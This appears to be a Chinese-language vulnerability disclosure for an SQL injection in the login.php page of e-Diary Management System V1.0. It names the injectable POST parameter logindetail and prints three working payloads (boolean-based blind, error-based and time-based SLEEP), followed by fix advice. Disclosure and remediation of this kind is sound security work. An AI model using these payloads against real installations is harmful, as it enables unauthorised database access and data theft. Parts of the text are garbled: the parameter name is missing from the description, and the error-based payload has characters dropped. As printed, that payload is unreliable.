关键信息 漏洞详情 漏洞类型: SQL注入 受影响产品: e-Diary Management System V1.0 漏洞文件: login.php 版本: V1.0 问题类型: SQL injection 根因 SQL注入漏洞存在于 文件的 参数中,攻击者可以注入恶意代码并直接在SQL查询中使用,导致未经授权的操作。 影响 攻击者可以利用此漏洞进行未授权数据库访问、敏感数据泄露、数据篡改、系统控制和中断服务,严重威胁系统安全和业务连续性。 描述 在对e-Diary Management System的安全审查中,发现了一个关键的SQL注入漏洞。该漏洞源于 参数的用户输入验证不足,允许攻击者注入恶意SQL查询,从而获得未授权的数据库访问权限,修改或删除数据,访问敏感信息。 漏洞细节和POC 易受攻击的参数: Payload: - 参数: logindetail (POST) - 类型: 布尔盲注 - 标题: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) - Payload: logindetail=3328') OR 4991=4991#&userpassword=Test@123&login= - 类型: 错误注入 - 标题: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) - Payload: logindetail=vand@gmail.com') OR (SELECT 6217 FROM(SELECT COUNT(),CONCAT(0x7d6a7671,(SELECT (ELT(6217=6217,1))),0x7d6a7671,FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- &userpassword=Test@123&login= - 类型: 时间盲注 - 标题: MySQL >= 5.0.12 AND time-based blind (query SLEEP) - Payload: logindetail=vand@gmail.com) AND (SELECT(SLEEP(5)))PyRk-- &userpassword=Test@123&login= 建议修复 1. 使用预编译语句和参数绑定。 2. 强化输入验证。 3. 最小化数据库用户权限。 4. 定期进行安全审计。